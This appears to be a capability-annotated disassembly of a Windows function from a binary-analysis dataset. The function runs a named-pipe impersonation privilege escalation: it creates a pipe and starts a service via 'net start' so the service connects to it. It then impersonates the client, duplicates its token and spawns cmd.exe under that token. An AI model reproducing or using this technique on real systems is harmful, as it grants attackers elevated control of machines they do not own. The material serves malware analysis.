Function at 0x140003940
Capabilities:
Connect pipe
Create pipe
Create process on windows
Create process suspended
Get common file path
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x14003f0a0]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ecx, 0x104
call fcn.14000a524
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
xor r14d, r14d
lea rcx, str..pipe_rabbit
mov qword [rsp + 0x38], r14
mov rsi, rax
xor eax, eax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 0x400
mov r9d, 0xff
lea r8d, [r14 + 4]
mov dword [rsp + 0x70], r14d
movups xmmword [rbp - 0x5c], xmm0
lea edx, [rax + 3]
mov dword [rbp + 4], eax
movups xmmword [rbp - 0x4c], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x3c], xmm0
mov dword [rsp + 0x20], 0x400
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003a39
mov ecx, 0x208
call fcn.14000a524
mov edx, 0x104
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.cmd.exe__c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.net_start_tencent_temp
mov rcx, rbx
call fcn.140003810
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400039f0
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r14
mov r8d, 0x104
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
test eax, eax
je 0x140003c1b
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rcx, rax
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140003a98
mov rbx, r14
jmp 0x140003bf5
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x140003a90
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x68]
mov rbx, rsi
test rsi, rsi
je 0x140003bf5
lea rax, [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea r9, str.cmd.exe
lea rax, [rbp - 0x60]
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
lea edx, [r8 + 2]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140003bf5
lea ecx, [rax + 0x1c]
call fcn.140014bc4
mov rbx, rax
lea r8, [rsp + 0x78]
xor eax, eax
lea rdx, str.SeIncreaseQuotaPrivilege
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], eax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.SeAssignPrimaryTokenPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rbx], 2
mov r9d, 0x1c
mov rax, qword [rsp + 0x78]
mov r8, rbx
mov qword [rbx + 4], rax
xor edx, edx
mov dword [rbx + 0xc], 2
mov rcx, rsi
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x28], r14
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, rbx
call fcn.140014bb0
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea r8, str.cmd.exe
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
mov rcx, rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov rbx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14000a4c0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret